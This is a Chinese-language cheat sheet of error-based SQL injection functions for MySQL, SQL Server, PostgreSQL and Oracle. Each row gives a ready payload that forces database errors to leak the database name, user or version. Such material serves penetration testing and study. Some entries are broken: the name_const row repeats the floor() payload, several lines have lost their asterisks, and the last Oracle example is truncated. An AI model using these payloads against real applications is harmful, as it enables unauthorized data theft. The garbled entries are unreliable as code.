### SQL 报错注入函数有哪些

**MySQL**

| 函数/方法      | 利用原理                                                     | 举例                                                         |
| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
| updatexml()    | 修改 XML 文档，不合法的 XPath 路径会报错并显示内容           | ... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1) |
| extractvalue() | 从 XML 字符串提取值，不合法的 XPath 路径会报错并显示内容     | ... AND extractvalue(1, concat(0x7e, (SELECT user())))       |
| floor()        | 结合 GROUP BY 和 rand()，制造重复键错误，将数据作为键值显示  | ... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
| name_const()   | 用于创建一个带名称的匿名列。当在子查询中，我们使用 `NAME_CONST()` 将查询结果作为列名，并且这个列名在子查询中已经存在时，就会引发一个“重复列名”的错误，并将查询结果显示出来 | AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
| exp()          | 我们可以通过 `~` 按位取反操作，将一个大的负数转换成一个巨大的正数，从而触发溢出 | AND (exp(~(SELECT * FROM (SELECT database())x)))             |

**SQL Server**

| 函数/方法          | 利用原理                                                     | 举例                                      |
| ------------------ | ------------------------------------------------------------ | ----------------------------------------- |
| convert() / cast() | 强制类型转换，将非数字字符串转换为整型会报错并显示字符串内容 | ... AND 1=convert(int,(SELECT db_name())) |

**PostgreSQL**

| 函数/方法 | 利用原理                                           | 举例                                      |
| --------- | -------------------------------------------------- | ----------------------------------------- |
| cast()    | 强制类型转换，将字符串转换为不兼容的数据类型时报错 | ... AND 1=CAST((SELECT version()) as int) |

**Oracle**

| 函数/方法                      | 利用原理                                                     | 举例                                                         |
| ------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
| utl_inaddr.get_host_address()  | utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 | ... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual))) |
| ctxsys.drithsx.sn()            | 在执行 ctxsys.drithsx.sn() 函数时，不合法的参数会引发错误并显示内容 | ... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')) |
| dbms_utility.sqlcode_to_char() | 这个函数用于将错误代码转换为字符。它本身不是用来报错的，但可以和其他会报错的函数结合使用 | AND 1=TO_NUMBER((SELECT 'a'                                  |